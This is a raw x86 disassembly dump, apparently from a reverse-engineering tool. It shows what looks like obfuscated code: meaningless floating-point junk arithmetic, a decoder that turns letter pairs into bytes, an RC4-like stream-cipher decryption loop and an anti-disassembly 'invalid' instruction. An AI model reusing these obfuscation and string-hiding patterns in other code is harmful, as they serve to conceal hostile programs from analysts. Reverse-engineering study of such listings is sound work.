movss dword [ebp - 0x35e0], xmm0
movss xmm0, dword [ebp - 0x33d0]
comiss xmm0, dword [ebp - 0x35e0]
jbe 0x4307c2
movss xmm0, dword [ebp - 0x34b4]
addss xmm0, dword [ebp - 0x33d0]
movss dword [ebp - 0x34b4], xmm0
movss xmm0, dword [ebp - 0x34b4]
addss xmm0, dword [ebp - 0x33d0]
movss dword [ebp - 0x34b4], xmm0
movss xmm0, dword [ebp - 0x34b4]
subss xmm0, dword [ebp - 0x33d0]
movss dword [ebp - 0x34b4], xmm0
movss xmm0, dword [ebp - 0x33d0]
mulss xmm0, dword [ebp - 0x34b4]
movss dword [ebp - 0x33d0], xmm0
movss xmm0, dword [ebp - 0x33d0]
subss xmm0, dword [ebp - 0x34b4]
movss dword [ebp - 0x33d0], xmm0
movss xmm0, dword [ebp - 0x33d0]
addss xmm0, dword [ebp - 0x34b4]
movss dword [ebp - 0x33d0], xmm0
movss xmm0, dword [ebp - 0x35e0]
comiss xmm0, dword [ebp - 0x34b4]
jbe 0x43068d
movss xmm0, dword [ebp - 0x35e0]
addss xmm0, dword [ebp - 0x33d0]
movss dword [ebp - 0x35e0], xmm0
movss xmm0, dword [ebp - 0x34b4]
addss xmm0, dword [ebp - 0x35e0]
movss dword [ebp - 0x34b4], xmm0
movss xmm0, dword [ebp - 0x34b4]
addss xmm0, dword [ebp - 0x35e0]
movss dword [ebp - 0x34b4], xmm0
jmp 0x4307c0
movss xmm0, dword [ebp - 0x33d0]
mulss xmm0, dword [ebp - 0x35e0]
movss dword [ebp - 0x33d0], xmm0
movss xmm0, dword [ebp - 0x34b4]
divss xmm0, dword [ebp - 0x33d0]
movss dword [ebp - 0x34b4], xmm0
movss xmm0, dword [ebp - 0x33d0]
addss xmm0, dword [ebp - 0x35e0]
movss dword [ebp - 0x33d0], xmm0
movss xmm0, dword [ebp - 0x33d0]
subss xmm0, dword [ebp - 0x34b4]
movss dword [ebp - 0x33d0], xmm0
movss xmm0, dword [ebp - 0x35e0]
mulss xmm0, dword [ebp - 0x33d0]
movss dword [ebp - 0x35e0], xmm0
movss xmm0, dword [ebp - 0x34b4]
subss xmm0, dword [ebp - 0x35e0]
movss dword [ebp - 0x34b4], xmm0
movss xmm0, dword [ebp - 0x33d0]
comiss xmm0, dword [ebp - 0x34b4]
jbe 0x430778
movss xmm0, dword [ebp - 0x33d0]
subss xmm0, dword [ebp - 0x34b4]
movss dword [ebp - 0x33d0], xmm0
movss xmm0, dword [ebp - 0x33d0]
addss xmm0, dword [ebp - 0x34b4]
movss dword [ebp - 0x33d0], xmm0
movss xmm0, dword [ebp - 0x33d0]
subss xmm0, dword [ebp - 0x34b4]
movss dword [ebp - 0x33d0], xmm0
jmp 0x4307c0
movss xmm0, dword [ebp - 0x34b4]
divss xmm0, dword [ebp - 0x35e0]
movss dword [ebp - 0x34b4], xmm0
movss xmm0, dword [ebp - 0x33d0]
subss xmm0, dword [ebp - 0x34b4]
movss dword [ebp - 0x33d0], xmm0
movss xmm0, dword [ebp - 0x33d0]
mulss xmm0, dword [ebp - 0x34b4]
movss dword [ebp - 0x33d0], xmm0
jmp 0x430814
movss xmm0, dword [ebp - 0x35e0]
addss xmm0, dword [ebp - 0x34b4]
movss dword [ebp - 0x35e0], xmm0
movss xmm0, dword [ebp - 0x33d0]
addss xmm0, dword [ebp - 0x35e0]
movss dword [ebp - 0x33d0], xmm0
movss xmm0, dword [ebp - 0x33d0]
addss xmm0, dword [ebp - 0x35e0]
movss dword [ebp - 0x33d0], xmm0
mov dword [ebp - 0x3684], 0x41
mov edx, dword [ebp - 0x333c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3704], eax
mov ecx, dword [ebp - 0x3700]
add ecx, dword [ebp - 0x3704]
movzx edx, byte [ecx]
mov dword [ebp - 0x3688], edx
mov dword [ebp - 0x368c], 0x54
mov eax, dword [ebp - 0x3678]
sub eax, dword [ebp - 0x3684]
mov dword [ebp - 0x3690], eax
mov ecx, dword [ebp - 0x3688]
sub ecx, dword [ebp - 0x368c]
mov dword [ebp - 0x3694], ecx
mov edx, dword [ebp - 0x3690]
shl edx, 4
mov dword [ebp - 0x3708], edx
mov eax, dword [ebp - 0x3694]
mov dword [ebp - 0x370c], eax
mov ecx, dword [ebp - 0x3708]
or ecx, dword [ebp - 0x370c]
mov dword [ebp - 0x3710], ecx
mov dl, byte [ebp - 0x3710]
mov byte [ebp - 0x32be], dl
movzx eax, byte [ebp - 0x328c]
mov cl, byte [ebp + eax - 0x5128]
mov byte [ebp - 0x32bc], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp + edx - 0x5128]
movzx ecx, byte [ebp - 0x3271]
add ecx, eax
mov byte [ebp - 0x3271], cl
mov dl, byte [ebp - 0x3262]
add dl, 1
mov byte [ebp - 0x3262], dl
movzx eax, byte [ebp - 0x3271]
movzx ecx, byte [ebp - 0x328c]
mov dl, byte [ebp + eax - 0x5128]
mov byte [ebp + ecx - 0x5128], dl
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp - 0x3271]
mov dl, byte [ebp + eax - 0x5128]
mov byte [ebp + ecx - 0x5128], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp - 0x3270]
mov dl, byte [ebp + eax - 0x5128]
mov byte [ebp + ecx - 0x5128], dl
movzx eax, byte [ebp - 0x3262]
mov cl, byte [ebp - 0x32bc]
mov byte [ebp + eax - 0x5128], cl
movzx edx, byte [ebp - 0x32bc]
movzx eax, byte [ebp + edx - 0x5128]
movzx ecx, byte [ebp - 0x32bd]
add ecx, eax
mov byte [ebp - 0x32bd], cl
movzx edx, byte [ebp - 0x32be]
movzx eax, byte [ebp - 0x3271]
movzx ecx, byte [ebp + eax - 0x5128]
movzx eax, byte [ebp - 0x3262]
movzx eax, byte [ebp + eax - 0x5128]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5128]
xor edx, ecx
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp + eax - 0x5128]
movzx eax, byte [ebp - 0x328c]
movzx eax, byte [ebp + eax - 0x5128]
add ecx, eax
movzx eax, byte [ebp - 0x32bd]
movzx eax, byte [ebp + eax - 0x5128]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5128]
movzx eax, byte [ebp + ecx - 0x5128]
xor edx, eax
mov byte [ebp - 0x3270], dl
mov cl, byte [ebp - 0x32be]
mov byte [ebp - 0x328c], cl
mov dl, byte [ebp - 0x3270]
mov byte [ebp - 0x3307], dl
cmp dword [ebp - 0x333c], 0
jle 0x430a24
movsx ax, byte [ebp - 0x3307]
mov ecx, dword [ebp - 0x333c]
mov word [ebp + ecx*2 - 0x206], ax
jmp 0x4304bf
mov edx, dword [ebp - 0x3508]
add edx, 1
mov dword [ebp - 0x3508], edx
mov eax, dword [ebp - 0x333c]
add eax, 1
mov dword [ebp - 0x333c], eax
mov ecx, dword [ebp - 0x3508]
add ecx, 1
mov dword [ebp - 0x3508], ecx
mov edx, dword [ebp - 0x333c]
shl edx, 1
mov dword [ebp - 0x36fc], edx
mov eax, dword [ebp - 0x3700]
add eax, dword [ebp - 0x36fc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3678], ecx
mov dword [ebp - 0x3684], 0x41
mov edx, dword [ebp - 0x333c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3704], eax
mov ecx, dword [ebp - 0x3700]
add ecx, dword [ebp - 0x3704]
movzx edx, byte [ecx]
mov dword [ebp - 0x3688], edx
mov dword [ebp - 0x368c], 0x54
mov eax, dword [ebp - 0x3678]
sub eax, dword [ebp - 0x3684]
mov dword [ebp - 0x3690], eax
mov ecx, dword [ebp - 0x3688]
sub ecx, dword [ebp - 0x368c]
mov dword [ebp - 0x3694], ecx
mov edx, dword [ebp - 0x3690]
shl edx, 4
mov dword [ebp - 0x3708], edx
mov eax, dword [ebp - 0x3694]
mov dword [ebp - 0x370c], eax
mov ecx, dword [ebp - 0x3708]
or ecx, dword [ebp - 0x370c]
mov dword [ebp - 0x3710], ecx
mov dl, byte [ebp - 0x3710]
mov byte [ebp - 0x32be], dl
movzx eax, byte [ebp - 0x328c]
mov cl, byte [ebp + eax - 0x5128]
mov byte [ebp - 0x32bc], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp + edx - 0x5128]
movzx ecx, byte [ebp - 0x3271]
add ecx, eax
mov byte [ebp - 0x3271], cl
mov dl, byte [ebp - 0x3262]
add dl, 1
mov byte [ebp - 0x3262], dl
movzx eax, byte [ebp - 0x3271]
movzx ecx, byte [ebp - 0x328c]
mov dl, byte [ebp + eax - 0x5128]
mov byte [ebp + ecx - 0x5128], dl
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp - 0x3271]
mov dl, byte [ebp + eax - 0x5128]
mov byte [ebp + ecx - 0x5128], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp - 0x3270]
mov dl, byte [ebp + eax - 0x5128]
mov byte [ebp + ecx - 0x5128], dl
movzx eax, byte [ebp - 0x3262]
mov cl, byte [ebp - 0x32bc]
mov byte [ebp + eax - 0x5128], cl
movzx edx, byte [ebp - 0x32bc]
movzx eax, byte [ebp + edx - 0x5128]
movzx ecx, byte [ebp - 0x32bd]
add ecx, eax
mov byte [ebp - 0x32bd], cl
movzx edx, byte [ebp - 0x32be]
movzx eax, byte [ebp - 0x3271]
movzx ecx, byte [ebp + eax - 0x5128]
movzx eax, byte [ebp - 0x3262]
movzx eax, byte [ebp + eax - 0x5128]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5128]
xor edx, ecx
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp + eax - 0x5128]
movzx eax, byte [ebp - 0x328c]
movzx eax, byte [ebp + eax - 0x5128]
add ecx, eax
movzx eax, byte [ebp - 0x32bd]
movzx eax, byte [ebp + eax - 0x5128]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5128]
movzx eax, byte [ebp + ecx - 0x5128]
xor edx, eax
mov byte [ebp - 0x3270], dl
mov cl, byte [ebp - 0x32be]
mov byte [ebp - 0x328c], cl
mov dl, byte [ebp - 0x3270]
mov byte [ebp - 0x3307], dl
cmp dword [ebp - 0x333c], 0
jle 0x430c93
movsx ax, byte [ebp - 0x3307]
mov ecx, dword [ebp - 0x333c]
mov word [ebp + ecx*2 - 0x206], ax
mov edx, dword [ebp - 0x333c]
add edx, 1
mov dword [ebp - 0x333c], edx
mov eax, dword [ebp - 0x3508]
add eax, 1
mov dword [ebp - 0x3508], eax
mov ecx, dword [ebp - 0x333c]
shl ecx, 1
mov dword [ebp - 0x36fc], ecx
mov edx, dword [ebp - 0x3700]
add edx, dword [ebp - 0x36fc]
movzx eax, byte [edx]
mov dword [ebp - 0x3678], eax
mov dword [ebp - 0x3684], 0x41
mov ecx, dword [ebp - 0x333c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3704], edx
mov eax, dword [ebp - 0x3700]
add eax, dword [ebp - 0x3704]
movzx ecx, byte [eax]
mov dword [ebp - 0x3688], ecx
mov dword [ebp - 0x368c], 0x54
mov edx, dword [ebp - 0x3678]
sub edx, dword [ebp - 0x3684]
mov dword [ebp - 0x3690], edx
mov eax, dword [ebp - 0x3688]
sub eax, dword [ebp - 0x368c]
mov dword [ebp - 0x3694], eax
mov ecx, dword [ebp - 0x3690]
shl ecx, 4
mov dword [ebp - 0x3708], ecx
mov edx, dword [ebp - 0x3694]
mov dword [ebp - 0x370c], edx
mov eax, dword [ebp - 0x3708]
or eax, dword [ebp - 0x370c]
mov dword [ebp - 0x3710], eax
mov cl, byte [ebp - 0x3710]
mov byte [ebp - 0x32be], cl
movzx edx, byte [ebp - 0x328c]
mov al, byte [ebp + edx - 0x5128]
mov byte [ebp - 0x32bc], al
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp + ecx - 0x5128]
movzx eax, byte [ebp - 0x3271]
add eax, edx
mov byte [ebp - 0x3271], al
mov cl, byte [ebp - 0x3262]
add cl, 1
mov byte [ebp - 0x3262], cl
movzx edx, byte [ebp - 0x3271]
movzx eax, byte [ebp - 0x328c]
mov cl, byte [ebp + edx - 0x5128]
mov byte [ebp + eax - 0x5128], cl
movzx edx, byte [ebp - 0x3270]
movzx eax, byte [ebp - 0x3271]
mov cl, byte [ebp + edx - 0x5128]
mov byte [ebp + eax - 0x5128], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp - 0x3270]
mov cl, byte [ebp + edx - 0x5128]
mov byte [ebp + eax - 0x5128], cl
movzx edx, byte [ebp - 0x3262]
mov al, byte [ebp - 0x32bc]
mov byte [ebp + edx - 0x5128], al
movzx ecx, byte [ebp - 0x32bc]
movzx edx, byte [ebp + ecx - 0x5128]
movzx eax, byte [ebp - 0x32bd]
add eax, edx
mov byte [ebp - 0x32bd], al
movzx ecx, byte [ebp - 0x32be]
movzx edx, byte [ebp - 0x3271]
movzx eax, byte [ebp + edx - 0x5128]
movzx edx, byte [ebp - 0x3262]
movzx edx, byte [ebp + edx - 0x5128]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5128]
xor ecx, eax
movzx edx, byte [ebp - 0x3270]
movzx eax, byte [ebp + edx - 0x5128]
movzx edx, byte [ebp - 0x328c]
movzx edx, byte [ebp + edx - 0x5128]
add eax, edx
movzx edx, byte [ebp - 0x32bd]
movzx edx, byte [ebp + edx - 0x5128]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5128]
movzx edx, byte [ebp + eax - 0x5128]
xor ecx, edx
mov byte [ebp - 0x3270], cl
mov al, byte [ebp - 0x32be]
mov byte [ebp - 0x328c], al
mov cl, byte [ebp - 0x3270]
mov byte [ebp - 0x3307], cl
cmp dword [ebp - 0x333c], 0
jle 0x430eec
movsx dx, byte [ebp - 0x3307]
mov eax, dword [ebp - 0x333c]
mov word [ebp + eax*2 - 0x206], dx
mov ecx, dword [ebp - 0x333c]
add ecx, 1
mov dword [ebp - 0x333c], ecx
mov edx, dword [ebp - 0x3508]
add edx, 1
mov dword [ebp - 0x3508], edx
movsd xmm0, qword [0xa6eea0]
movsd qword [ebp - 0x3ddc], xmm0
movsd xmm0, qword [0xa6ed20]
movsd qword [ebp - 0x4214], xmm0
movsd xmm0, qword [0xa6eb08]
movsd qword [ebp - 0x4420], xmm0
movsd xmm0, qword [0xa6e8c0]
movsd qword [ebp - 0x42c0], xmm0
movsd xmm0, qword [ebp - 0x3ddc]
addsd xmm0, qword [ebp - 0x42c0]
movsd qword [ebp - 0x3ddc], xmm0
movsd xmm0, qword [ebp - 0x3ddc]
subsd xmm0, qword [ebp - 0x42c0]
movsd qword [ebp - 0x3ddc], xmm0
movsd xmm0, qword [ebp - 0x3ddc]
addsd xmm0, qword [ebp - 0x42c0]
movsd qword [ebp - 0x3ddc], xmm0
movsd xmm0, qword [ebp - 0x4420]
mulsd xmm0, qword [ebp - 0x42c0]
movsd qword [ebp - 0x4420], xmm0
movsd xmm0, qword [ebp - 0x42c0]
comisd xmm0, xmmword [ebp - 0x4420]
jbe 0x431156
movsd xmm0, qword [ebp - 0x3ddc]
addsd xmm0, qword [ebp - 0x4214]
movsd qword [ebp - 0x3ddc], xmm0
movsd xmm0, qword [ebp - 0x3ddc]
addsd xmm0, qword [ebp - 0x4214]
movsd qword [ebp - 0x3ddc], xmm0
movsd xmm0, qword [ebp - 0x4214]
subsd xmm0, qword [ebp - 0x4420]
movsd qword [ebp - 0x4214], xmm0
movsd xmm0, qword [ebp - 0x42c0]
addsd xmm0, qword [ebp - 0x3ddc]
movsd qword [ebp - 0x42c0], xmm0
movsd xmm0, qword [ebp - 0x42c0]
divsd xmm0, qword [ebp - 0x3ddc]
movsd qword [ebp - 0x42c0], xmm0
movsd xmm0, qword [ebp - 0x4420]
subsd xmm0, qword [ebp - 0x42c0]
movsd qword [ebp - 0x4420], xmm0
movsd xmm0, qword [ebp - 0x4214]
divsd xmm0, qword [ebp - 0x4420]
movsd qword [ebp - 0x4214], xmm0
movsd xmm0, qword [ebp - 0x3ddc]
addsd xmm0, qword [ebp - 0x4214]
movsd qword [ebp - 0x3ddc], xmm0
movsd xmm0, qword [ebp - 0x42c0]
comisd xmm0, xmmword [ebp - 0x4214]
jbe 0x4310f4
movsd xmm0, qword [ebp - 0x3ddc]
addsd xmm0, qword [ebp - 0x4420]
movsd qword [ebp - 0x3ddc], xmm0
movsd xmm0, qword [ebp - 0x3ddc]
mulsd xmm0, qword [ebp - 0x4420]
movsd qword [ebp - 0x3ddc], xmm0
movsd xmm0, qword [ebp - 0x3ddc]
subsd xmm0, qword [ebp - 0x4420]
movsd qword [ebp - 0x3ddc], xmm0
movsd xmm0, qword [ebp - 0x3ddc]
divsd xmm0, qword [ebp - 0x4420]
movsd qword [ebp - 0x3ddc], xmm0
jmp 0x431154
movsd xmm0, qword [ebp - 0x4214]
subsd xmm0, qword [ebp - 0x42c0]
movsd qword [ebp - 0x4214], xmm0
movsd xmm0, qword [ebp - 0x42c0]
mulsd xmm0, qword [ebp - 0x4214]
movsd qword [ebp - 0x42c0], xmm0
movsd xmm0, qword [ebp - 0x4214]
addsd xmm0, qword [ebp - 0x42c0]
movsd qword [ebp - 0x4214], xmm0
movsd xmm0, qword [ebp - 0x4214]
subsd xmm0, qword [ebp - 0x42c0]
movsd qword [ebp - 0x4214], xmm0
jmp 0x4311c4
movsd xmm0, qword [ebp - 0x3ddc]
addsd xmm0, qword [ebp - 0x4214]
movsd qword [ebp - 0x3ddc], xmm0
movsd xmm0, qword [ebp - 0x3ddc]
addsd xmm0, qword [ebp - 0x4214]
movsd qword [ebp - 0x3ddc], xmm0
movsd xmm0, qword [ebp - 0x4214]
mulsd xmm0, qword [ebp - 0x4420]
movsd qword [ebp - 0x4214], xmm0
movsd xmm0, qword [ebp - 0x4420]
addsd xmm0, qword [ebp - 0x42c0]
movsd qword [ebp - 0x4420], xmm0
mov eax, dword [ebp - 0x333c]
shl eax, 1
mov dword [ebp - 0x36fc], eax
mov ecx, dword [ebp - 0x3700]
add ecx, dword [ebp - 0x36fc]
movzx edx, byte [ecx]
mov dword [ebp - 0x3678], edx
mov dword [ebp - 0x3684], 0x41
mov eax, dword [ebp - 0x333c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3704], ecx
mov edx, dword [ebp - 0x3700]
add edx, dword [ebp - 0x3704]
movzx eax, byte [edx]
mov dword [ebp - 0x3688], eax
mov dword [ebp - 0x368c], 0x54
mov ecx, dword [ebp - 0x3678]
sub ecx, dword [ebp - 0x3684]
mov dword [ebp - 0x3690], ecx
mov edx, dword [ebp - 0x3688]
sub edx, dword [ebp - 0x368c]
mov dword [ebp - 0x3694], edx
mov eax, dword [ebp - 0x3690]
shl eax, 4
mov dword [ebp - 0x3708], eax
mov ecx, dword [ebp - 0x3694]
mov dword [ebp - 0x370c], ecx
mov edx, dword [ebp - 0x3708]
or edx, dword [ebp - 0x370c]
mov dword [ebp - 0x3710], edx
mov al, byte [ebp - 0x3710]
mov byte [ebp - 0x32be], al
movzx ecx, byte [ebp - 0x328c]
mov dl, byte [ebp + ecx - 0x5128]
mov byte [ebp - 0x32bc], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp + eax - 0x5128]
movzx edx, byte [ebp - 0x3271]
add edx, ecx
mov byte [ebp - 0x3271], dl
mov al, byte [ebp - 0x3262]
add al, 1
mov byte [ebp - 0x3262], al
movzx ecx, byte [ebp - 0x3271]
movzx edx, byte [ebp - 0x328c]
mov al, byte [ebp + ecx - 0x5128]
mov byte [ebp + edx - 0x5128], al
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp - 0x3271]
mov al, byte [ebp + ecx - 0x5128]
mov byte [ebp + edx - 0x5128], al
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp - 0x3270]
mov al, byte [ebp + ecx - 0x5128]
mov byte [ebp + edx - 0x5128], al
movzx ecx, byte [ebp - 0x3262]
mov dl, byte [ebp - 0x32bc]
mov byte [ebp + ecx - 0x5128], dl
movzx eax, byte [ebp - 0x32bc]
movzx ecx, byte [ebp + eax - 0x5128]
movzx edx, byte [ebp - 0x32bd]
add edx, ecx
mov byte [ebp - 0x32bd], dl
movzx eax, byte [ebp - 0x32be]
movzx ecx, byte [ebp - 0x3271]
movzx edx, byte [ebp + ecx - 0x5128]
movzx ecx, byte [ebp - 0x3262]
movzx ecx, byte [ebp + ecx - 0x5128]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5128]
xor eax, edx
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp + ecx - 0x5128]
movzx ecx, byte [ebp - 0x328c]
movzx ecx, byte [ebp + ecx - 0x5128]
add edx, ecx
movzx ecx, byte [ebp - 0x32bd]
movzx ecx, byte [ebp + ecx - 0x5128]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5128]
movzx ecx, byte [ebp + edx - 0x5128]
xor eax, ecx
mov byte [ebp - 0x3270], al
mov dl, byte [ebp - 0x32be]
mov byte [ebp - 0x328c], dl
mov al, byte [ebp - 0x3270]
mov byte [ebp - 0x3307], al
cmp dword [ebp - 0x333c], 0
jle 0x4313f2
movsx cx, byte [ebp - 0x3307]
mov edx, dword [ebp - 0x333c]
mov word [ebp + edx*2 - 0x206], cx
mov eax, dword [ebp - 0x333c]
add eax, 1
mov dword [ebp - 0x333c], eax
mov ecx, dword [ebp - 0x3508]
add ecx, 1
mov dword [ebp - 0x3508], ecx
mov edx, dword [ebp - 0x333c]
shl edx, 1
mov dword [ebp - 0x36fc], edx
mov eax, dword [ebp - 0x3700]
add eax, dword [ebp - 0x36fc]
movzx ecx, byte [eax]
mov dword [ebp - 0x3678], ecx
mov dword [ebp - 0x3684], 0x41
mov edx, dword [ebp - 0x333c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3704], eax
mov ecx, dword [ebp - 0x3700]
add ecx, dword [ebp - 0x3704]
movzx edx, byte [ecx]
mov dword [ebp - 0x3688], edx
mov dword [ebp - 0x368c], 0x54
mov eax, dword [ebp - 0x3678]
sub eax, dword [ebp - 0x3684]
mov dword [ebp - 0x3690], eax
mov ecx, dword [ebp - 0x3688]
sub ecx, dword [ebp - 0x368c]
mov dword [ebp - 0x3694], ecx
mov edx, dword [ebp - 0x3690]
shl edx, 4
mov dword [ebp - 0x3708], edx
mov eax, dword [ebp - 0x3694]
mov dword [ebp - 0x370c], eax
mov ecx, dword [ebp - 0x3708]
or ecx, dword [ebp - 0x370c]
mov dword [ebp - 0x3710], ecx
mov dl, byte [ebp - 0x3710]
mov byte [ebp - 0x32be], dl
movzx eax, byte [ebp - 0x328c]
mov cl, byte [ebp + eax - 0x5128]
mov byte [ebp - 0x32bc], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp + edx - 0x5128]
movzx ecx, byte [ebp - 0x3271]
add ecx, eax
mov byte [ebp - 0x3271], cl
mov dl, byte [ebp - 0x3262]
add dl, 1
mov byte [ebp - 0x3262], dl
movzx eax, byte [ebp - 0x3271]
movzx ecx, byte [ebp - 0x328c]
mov dl, byte [ebp + eax - 0x5128]
mov byte [ebp + ecx - 0x5128], dl
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp - 0x3271]
mov dl, byte [ebp + eax - 0x5128]
mov byte [ebp + ecx - 0x5128], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp - 0x3270]
mov dl, byte [ebp + eax - 0x5128]
mov byte [ebp + ecx - 0x5128], dl
movzx eax, byte [ebp - 0x3262]
mov cl, byte [ebp - 0x32bc]
mov byte [ebp + eax - 0x5128], cl
movzx edx, byte [ebp - 0x32bc]
movzx eax, byte [ebp + edx - 0x5128]
movzx ecx, byte [ebp - 0x32bd]
add ecx, eax
mov byte [ebp - 0x32bd], cl
movzx edx, byte [ebp - 0x32be]
movzx eax, byte [ebp - 0x3271]
movzx ecx, byte [ebp + eax - 0x5128]
movzx eax, byte [ebp - 0x3262]
movzx eax, byte [ebp + eax - 0x5128]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5128]
xor edx, ecx
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp + eax - 0x5128]
movzx eax, byte [ebp - 0x328c]
movzx eax, byte [ebp + eax - 0x5128]
add ecx, eax
movzx eax, byte [ebp - 0x32bd]
movzx eax, byte [ebp + eax - 0x5128]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5128]
movzx eax, byte [ebp + ecx - 0x5128]
xor edx, eax
mov byte [ebp - 0x3270], dl
mov cl, byte [ebp - 0x32be]
mov byte [ebp - 0x328c], cl
mov dl, byte [ebp - 0x3270]
mov byte [ebp - 0x3307], dl
cmp dword [ebp - 0x333c], 0
jle 0x43164d
movsx ax, byte [ebp - 0x3307]
mov ecx, dword [ebp - 0x333c]
mov word [ebp + ecx*2 - 0x206], ax
mov edx, 2
imul eax, edx, 0x26
mov dword [ebp - 0x51dc], eax
cmp dword [ebp - 0x51dc], 0x4e
jae 0x431666
jmp 0x43166b
call fcn.009f1ed7
xor ecx, ecx
mov edx, dword [ebp - 0x51dc]
mov word [ebp + edx - 0x204], cx
jmp 0x4316d1
mov dword [ebp - 0x4848], 0
jmp 0x431698
mov eax, dword [ebp - 0x4848]
add eax, 1
mov dword [ebp - 0x4848], eax
cmp dword [ebp - 0x4848], 0x27
jge 0x4316d1
mov ecx, dword [ebp - 0x4848]
shl ecx, 1
mov dword [ebp - 0x51d8], ecx
cmp dword [ebp - 0x51d8], 0x4e
jae 0x4316ba
jmp 0x4316bf
call fcn.009f1ed7
xor edx, edx
mov eax, dword [ebp - 0x51d8]
mov word [ebp + eax - 0x204], dx
jmp 0x431689
lea ecx, [ebp - 0x204]
mov dword [ebp - 0x46b0], ecx
mov edx, dword [ebp - 0x46b0]
add edx, 2
mov dword [ebp - 0x5fa0], edx
mov eax, dword [ebp - 0x46b0]
mov cx, word [eax]
mov word [ebp - 0x4a3c], cx
add dword [ebp - 0x46b0], 2
cmp word [ebp - 0x4a3c], 0
jne 0x4316ec
mov edx, dword [ebp - 0x46b0]
sub edx, dword [ebp - 0x5fa0]
sar edx, 1
mov dword [ebp - 0x5fa4], edx
mov eax, dword [ebp - 0x5fa4]
lea ecx, [eax + eax + 2]
mov dword [ebp - 0x458c], ecx
mov dword [ebp - 0x3250], 0
mov dword [ebp - 0x324c], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x4724], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x462c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x462c], xmm0
jmp 0x431780
movsd xmm0, qword [ebp - 0x462c]
addsd xmm0, qword [0xa6e340]
movsd qword [ebp - 0x462c], xmm0
movsd xmm0, qword [0xa6e918]
comisd xmm0, xmmword [ebp - 0x462c]
jbe 0x431831
movsd xmm0, qword [0xa6e650]
mulsd xmm0, qword [ebp - 0x462c]
mulsd xmm0, qword [ebp - 0x462c]
movsd xmm1, qword [ebp - 0x462c]
mulsd xmm1, qword [ebp - 0x462c]
subsd xmm0, xmm1
movsd xmm1, qword [0xa6e3a8]
mulsd xmm1, qword [ebp - 0x462c]
mulsd xmm1, qword [ebp - 0x462c]
addsd xmm1, qword [0xa6e480]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x4724]
movsd qword [ebp - 0x4724], xmm0
movsd xmm0, qword [ebp - 0x4724]
comisd xmm0, xmmword [0xa6e590]
jbe 0x43182c
movsd xmm0, qword [0xa6e328]
mulsd xmm0, qword [ebp - 0x462c]
movsd xmm1, qword [ebp - 0x4724]
subsd xmm1, xmm0
movsd qword [ebp - 0x4724], xmm1
jmp 0x431768
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x4724]
jbe 0x4318a3
dec esi
invalid
mov dword [ebp - 0x3250], 0x43183e
mov dword [ebp - 0x324c], 0x431886
mov edx, dword [ebp - 0x3250]
mov dword [ebp - 0x3948], edx
mov eax, dword [ebp - 0x324c]
mov dword [ebp - 0x5fa8], eax
mov byte [ebp - 0x3fe8], 0x1c
mov dword [ebp - 0x3940], 0
jmp 0x4318f1
mov ecx, dword [ebp - 0x3940]
add ecx, 1
mov dword [ebp - 0x3940], ecx
cmp dword [ebp - 0x3940], 0x100
jae 0x431912
mov edx, dword [ebp - 0x3940]
mov al, byte [ebp - 0x3940]
mov byte [ebp + edx - 0x5520], al
jmp 0x4318e2
mov dword [ebp - 0x44c8], 0
mov byte [ebp - 0x334a], 0
mov dword [ebp - 0x3940], 0xff
jmp 0x43193e
mov ecx, dword [ebp - 0x3940]
sub ecx, 1
mov dword [ebp - 0x3940], ecx
cmp dword [ebp - 0x3940], 0
jbe 0x431bae
mov dword [ebp - 0x4adc], 0
mov dword [ebp - 0x4868], 1
mov edx, dword [ebp - 0x4868]
cmp edx, dword [ebp - 0x3940]
jae 0x43197f
mov eax, dword [ebp - 0x4868]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x4868], ecx
jmp 0x43195f
mov edx, dword [ebp - 0x44c8]
mov dword [ebp - 0x51d4], edx
cmp dword [ebp - 0x51d4], 3
ja case.default.0x43199e
mov eax, dword [ebp - 0x51d4]
jmp dword [eax*4 + 0x46b510]
movzx ecx, byte [ebp - 0x334a]
movzx ebx, byte [ebp + ecx - 0x5520]
movsd xmm0, qword [ebp - 0x4724]
call fcn.009f23b0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334a], bl
jmp 0x431a87
movzx edx, byte [ebp - 0x334a]
movzx ebx, byte [ebp + edx - 0x5520]
